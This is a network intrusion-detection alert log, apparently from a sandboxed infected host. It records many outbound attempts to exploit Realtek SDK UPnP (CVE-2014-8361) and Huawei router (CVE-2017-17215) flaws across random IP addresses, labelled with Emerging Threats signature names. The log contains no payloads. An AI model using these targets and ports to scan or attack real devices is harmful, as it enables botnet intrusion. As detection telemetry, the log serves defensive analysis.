07/20/24-23:01:45.513282	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45548	52869	192.168.2.23	122.90.179.148
07/20/24-23:01:41.974742	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60824	52869	192.168.2.23	167.210.235.204
07/20/24-23:01:42.935667	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53490	52869	192.168.2.23	35.223.49.101
07/20/24-23:01:08.619598	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43258	52869	192.168.2.23	57.224.40.86
07/20/24-23:01:26.138638	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44014	52869	192.168.2.23	142.4.77.39
07/20/24-23:01:10.698072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45622	52869	192.168.2.23	143.147.165.127
07/20/24-23:01:44.440143	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54228	52869	192.168.2.23	158.140.216.184
07/20/24-23:01:49.463055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52582	52869	192.168.2.23	190.134.62.33
07/20/24-23:01:27.650505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51726	37215	192.168.2.23	157.174.105.214
07/20/24-23:01:42.912947	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44764	52869	192.168.2.23	99.220.126.213
07/20/24-23:01:08.919725	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45992	52869	192.168.2.23	199.61.238.254
07/20/24-23:00:57.220949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53130	37215	192.168.2.23	157.110.226.143
07/20/24-23:01:00.638305	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42912	37215	192.168.2.23	156.90.210.240
07/20/24-23:01:53.132473	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43602	52869	192.168.2.23	110.244.30.5
07/20/24-23:01:40.286738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42938	37215	192.168.2.23	157.79.124.73
07/20/24-23:01:48.216693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49644	52869	192.168.2.23	18.141.77.94
07/20/24-23:01:12.853279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41360	52869	192.168.2.23	164.126.39.49
07/20/24-23:01:53.429797	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47720	52869	192.168.2.23	121.198.173.54
07/20/24-23:01:58.717674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60566	52869	192.168.2.23	106.40.108.231
07/20/24-23:00:59.196993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59916	37215	192.168.2.23	157.129.228.162
07/20/24-23:01:54.922661	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46738	52869	192.168.2.23	166.80.198.171
07/20/24-23:01:48.221889	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59484	52869	192.168.2.23	221.223.71.222
07/20/24-23:01:47.108019	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58110	52869	192.168.2.23	93.255.151.238
07/20/24-23:01:42.898615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47258	52869	192.168.2.23	208.122.170.150
07/20/24-23:02:09.758048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53308	52869	192.168.2.23	164.236.61.179
07/20/24-23:01:08.667963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39612	52869	192.168.2.23	44.181.179.103
07/20/24-23:01:21.954501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49030	37215	192.168.2.23	157.161.67.148
07/20/24-23:02:03.245732	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37204	52869	192.168.2.23	84.248.195.35
07/20/24-23:01:47.006773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37276	52869	192.168.2.23	45.208.1.181
07/20/24-23:01:03.115715	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60020	52869	192.168.2.23	195.64.245.14
07/20/24-23:01:08.597662	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34472	52869	192.168.2.23	14.23.231.227
07/20/24-23:01:44.203130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34246	52869	192.168.2.23	46.50.151.45
07/20/24-23:01:41.340201	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37918	52869	192.168.2.23	220.210.17.223
07/20/24-23:01:44.036421	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49088	52869	192.168.2.23	218.231.87.4
07/20/24-23:01:02.119631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58596	37215	192.168.2.23	197.102.112.63
07/20/24-23:01:43.555329	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58004	52869	192.168.2.23	45.244.207.174
07/20/24-23:01:06.988055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58870	37215	192.168.2.23	197.232.195.38
07/20/24-23:01:02.340273	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45948	52869	192.168.2.23	122.204.212.245
07/20/24-23:01:31.977603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44556	37215	192.168.2.23	197.102.132.79
07/20/24-23:01:43.813001	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60190	52869	192.168.2.23	112.206.146.120
07/20/24-23:01:58.042671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55608	52869	192.168.2.23	54.153.180.221
07/20/24-23:01:08.639622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55062	52869	192.168.2.23	82.99.109.50
07/20/24-23:01:42.651912	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35654	52869	192.168.2.23	17.17.223.92
07/20/24-23:01:43.028316	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60440	52869	192.168.2.23	124.217.174.35
07/20/24-23:01:26.222978	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38392	52869	192.168.2.23	9.241.118.240
07/20/24-23:01:40.291616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34208	37215	192.168.2.23	197.250.23.28
07/20/24-23:01:26.111043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37016	52869	192.168.2.23	152.161.99.53
07/20/24-23:01:34.044717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58342	37215	192.168.2.23	20.226.9.160
07/20/24-23:01:04.447286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42194	52869	192.168.2.23	167.134.108.32
07/20/24-23:01:11.630703	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33210	37215	192.168.2.23	111.178.38.86
07/20/24-23:01:41.266946	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42504	52869	192.168.2.23	190.248.52.121
07/20/24-23:01:43.206220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37142	52869	192.168.2.23	43.216.241.103
07/20/24-23:01:14.097135	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55036	37215	192.168.2.23	41.142.235.21
07/20/24-23:01:08.595072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57374	52869	192.168.2.23	162.117.132.232
07/20/24-23:01:57.213768	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43116	52869	192.168.2.23	112.142.124.162
07/20/24-23:01:34.048825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41408	37215	192.168.2.23	5.82.172.149
07/20/24-23:01:45.092575	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45468	52869	192.168.2.23	165.194.139.225
07/20/24-23:01:08.659435	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52838	52869	192.168.2.23	4.194.116.48
07/20/24-23:00:59.203960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42692	37215	192.168.2.23	197.241.179.191
07/20/24-23:01:31.314147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47166	52869	192.168.2.23	136.18.44.19
07/20/24-23:01:42.474339	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51252	52869	192.168.2.23	41.250.44.72
07/20/24-23:01:12.807585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42052	52869	192.168.2.23	72.182.219.141
07/20/24-23:01:45.519802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40966	52869	192.168.2.23	52.182.197.150
07/20/24-23:01:42.442442	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55828	52869	192.168.2.23	171.82.217.243
07/20/24-23:01:31.320338	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41898	52869	192.168.2.23	199.241.141.173
07/20/24-23:01:46.293475	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48050	52869	192.168.2.23	37.140.130.170
07/20/24-23:01:00.639011	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38304	37215	192.168.2.23	197.92.201.180
07/20/24-23:01:00.645186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50596	37215	192.168.2.23	41.212.198.90
07/20/24-23:01:52.914137	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34970	52869	192.168.2.23	37.158.125.18
07/20/24-23:01:26.607132	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46434	52869	192.168.2.23	2.17.25.163
07/20/24-23:01:31.326982	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48746	52869	192.168.2.23	120.48.178.89
07/20/24-23:01:24.898476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33326	37215	192.168.2.23	197.164.160.245
07/20/24-23:01:41.286262	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32930	52869	192.168.2.23	181.147.220.98
07/20/24-23:01:50.147840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34522	52869	192.168.2.23	191.136.148.80
07/20/24-23:01:05.049337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56952	52869	192.168.2.23	5.53.123.92
07/20/24-23:02:06.553447	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48814	52869	192.168.2.23	58.121.119.159
07/20/24-23:01:41.303455	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42292	52869	192.168.2.23	182.86.228.100
07/20/24-23:01:42.571884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50062	52869	192.168.2.23	106.219.50.159
07/20/24-23:01:44.464382	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60510	52869	192.168.2.23	141.54.172.151
07/20/24-23:01:44.550538	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38384	52869	192.168.2.23	198.213.74.132
07/20/24-23:02:12.234515	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55384	52869	192.168.2.23	202.77.166.232
07/20/24-23:00:59.185032	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60908	37215	192.168.2.23	41.96.218.16
07/20/24-23:01:43.845332	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36896	52869	192.168.2.23	137.51.1.150
07/20/24-23:01:01.846382	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33600	52869	192.168.2.23	213.241.106.75
07/20/24-23:02:04.525064	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38412	52869	192.168.2.23	72.19.23.60
07/20/24-23:02:01.357047	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34792	52869	192.168.2.23	164.226.47.144
07/20/24-23:01:01.788008	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41078	52869	192.168.2.23	173.195.200.196
07/20/24-23:01:52.487978	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40330	52869	192.168.2.23	182.62.146.57
07/20/24-23:01:57.082339	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36074	52869	192.168.2.23	177.72.81.243
07/20/24-23:01:02.742663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60010	52869	192.168.2.23	196.57.233.80
07/20/24-23:01:48.288217	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48756	52869	192.168.2.23	81.22.157.142
07/20/24-23:01:11.631728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37572	37215	192.168.2.23	197.53.147.58
07/20/24-23:01:27.666100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56188	37215	192.168.2.23	204.242.74.211
07/20/24-23:01:27.749737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44748	37215	192.168.2.23	86.228.82.71
07/20/24-23:01:44.706302	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39534	52869	192.168.2.23	154.31.9.47
07/20/24-23:01:48.083998	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60718	52869	192.168.2.23	63.248.77.62
07/20/24-23:02:08.781934	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45326	52869	192.168.2.23	70.23.48.212
07/20/24-23:01:51.944006	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43396	52869	192.168.2.23	182.158.136.187
07/20/24-23:00:57.222164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57796	37215	192.168.2.23	197.249.133.131
07/20/24-23:00:59.168569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56512	37215	192.168.2.23	197.137.254.119
07/20/24-23:01:40.294677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39424	37215	192.168.2.23	197.141.20.43
07/20/24-23:01:14.105395	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49060	37215	192.168.2.23	142.66.65.211
07/20/24-23:01:47.420081	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45666	52869	192.168.2.23	139.163.81.215
07/20/24-23:01:41.258403	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33898	52869	192.168.2.23	200.70.243.196
07/20/24-23:01:04.113037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57922	37215	192.168.2.23	157.121.210.198
07/20/24-23:01:03.412385	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38334	52869	192.168.2.23	207.112.16.238
07/20/24-23:01:04.053605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51996	37215	192.168.2.23	157.232.245.24
07/20/24-23:00:59.192052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50524	37215	192.168.2.23	197.26.114.175
07/20/24-23:00:57.221223	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44052	37215	192.168.2.23	197.23.80.245
07/20/24-23:01:25.988229	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37986	52869	192.168.2.23	61.172.152.113
07/20/24-23:01:34.050672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41766	37215	192.168.2.23	41.95.161.232
07/20/24-23:01:04.228026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55100	37215	192.168.2.23	197.118.91.27
07/20/24-23:01:42.165780	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44556	52869	192.168.2.23	59.109.143.129
07/20/24-23:01:04.592707	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60594	52869	192.168.2.23	123.31.253.14
07/20/24-23:01:41.275004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59572	52869	192.168.2.23	53.20.116.108
07/20/24-23:01:32.028836	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35218	37215	192.168.2.23	197.21.215.215
07/20/24-23:02:00.709103	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44902	52869	192.168.2.23	67.25.105.249
07/20/24-23:00:59.157444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48482	37215	192.168.2.23	197.160.117.109
07/20/24-23:01:41.366269	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48042	52869	192.168.2.23	159.222.212.200
07/20/24-23:01:34.062277	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44950	37215	192.168.2.23	197.193.238.28
07/20/24-23:01:27.650037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36456	37215	192.168.2.23	187.218.18.191
07/20/24-23:01:41.236294	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55250	52869	192.168.2.23	221.157.224.96
07/20/24-23:01:00.651026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39940	37215	192.168.2.23	197.175.112.209
07/20/24-23:01:04.053604	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54380	37215	192.168.2.23	157.20.58.103
07/20/24-23:01:31.974569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59904	37215	192.168.2.23	197.228.52.144
07/20/24-23:01:08.621030	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49174	52869	192.168.2.23	113.241.155.67
07/20/24-23:01:59.300183	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34640	52869	192.168.2.23	66.14.7.167
07/20/24-23:01:27.653309	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49318	37215	192.168.2.23	124.111.25.252
07/20/24-23:01:41.303455	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44668	52869	192.168.2.23	211.87.162.144
07/20/24-23:01:44.491060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56394	52869	192.168.2.23	194.44.142.130
07/20/24-23:01:20.202325	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59032	37215	192.168.2.23	197.211.124.137
07/20/24-23:01:02.060344	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52456	37215	192.168.2.23	157.53.255.241
07/20/24-23:01:07.082045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36518	37215	192.168.2.23	41.73.95.140
07/20/24-23:01:14.097795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43512	37215	192.168.2.23	12.22.103.21
07/20/24-23:01:31.317668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35010	52869	192.168.2.23	181.111.14.150
07/20/24-23:01:40.320408	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37146	37215	192.168.2.23	158.198.153.222
07/20/24-23:01:44.186066	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49882	52869	192.168.2.23	205.136.89.238
07/20/24-23:01:31.311885	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47082	52869	192.168.2.23	146.31.217.81
07/20/24-23:01:47.604426	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48060	52869	192.168.2.23	89.230.177.62
07/20/24-23:01:44.670285	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55610	52869	192.168.2.23	111.85.168.68
07/20/24-23:01:25.263099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33996	52869	192.168.2.23	181.111.14.150
07/20/24-23:01:32.059767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47416	37215	192.168.2.23	157.197.119.108
07/20/24-23:01:56.324972	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46594	52869	192.168.2.23	14.138.152.232
07/20/24-23:01:01.831747	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37044	52869	192.168.2.23	117.27.97.229
07/20/24-23:01:43.392835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51270	52869	192.168.2.23	31.247.155.57
07/20/24-23:00:59.196993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53310	37215	192.168.2.23	103.34.160.230
07/20/24-23:01:27.749737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36574	37215	192.168.2.23	177.70.134.46
07/20/24-23:01:25.535708	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41514	52869	192.168.2.23	151.115.197.13
07/20/24-23:01:31.976984	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41924	37215	192.168.2.23	157.188.148.174
07/20/24-23:01:11.817771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55094	37215	192.168.2.23	157.103.119.53
07/20/24-23:00:59.204975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47260	37215	192.168.2.23	8.108.207.220
07/20/24-23:01:11.639230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45886	37215	192.168.2.23	4.154.54.81
07/20/24-23:00:59.194576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34208	37215	192.168.2.23	157.121.143.8
07/20/24-23:01:04.236014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60634	52869	192.168.2.23	124.254.84.115
07/20/24-23:01:46.181357	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38326	52869	192.168.2.23	195.86.64.66
07/20/24-23:01:31.320338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57134	52869	192.168.2.23	40.231.162.161
07/20/24-23:01:34.050313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32978	37215	192.168.2.23	122.34.30.224
07/20/24-23:01:11.632393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52048	37215	192.168.2.23	41.202.90.168
07/20/24-23:01:42.213822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60830	52869	192.168.2.23	137.75.123.123
07/20/24-23:00:59.192052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56934	37215	192.168.2.23	157.223.197.130
07/20/24-23:01:47.931025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40976	52869	192.168.2.23	58.31.233.114
07/20/24-23:01:04.058922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48874	37215	192.168.2.23	41.42.19.221
07/20/24-23:01:43.528109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58076	52869	192.168.2.23	79.130.195.101
07/20/24-23:01:31.974907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50664	37215	192.168.2.23	41.6.200.253
07/20/24-23:01:43.843278	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50424	52869	192.168.2.23	152.188.24.161
07/20/24-23:01:10.987935	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36258	52869	192.168.2.23	126.12.83.193
07/20/24-23:01:47.159758	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44832	52869	192.168.2.23	93.0.10.232
07/20/24-23:01:11.631728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49720	37215	192.168.2.23	157.128.103.156
07/20/24-23:01:42.213822	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39442	52869	192.168.2.23	150.125.163.90
07/20/24-23:01:27.654173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53600	37215	192.168.2.23	197.252.135.214
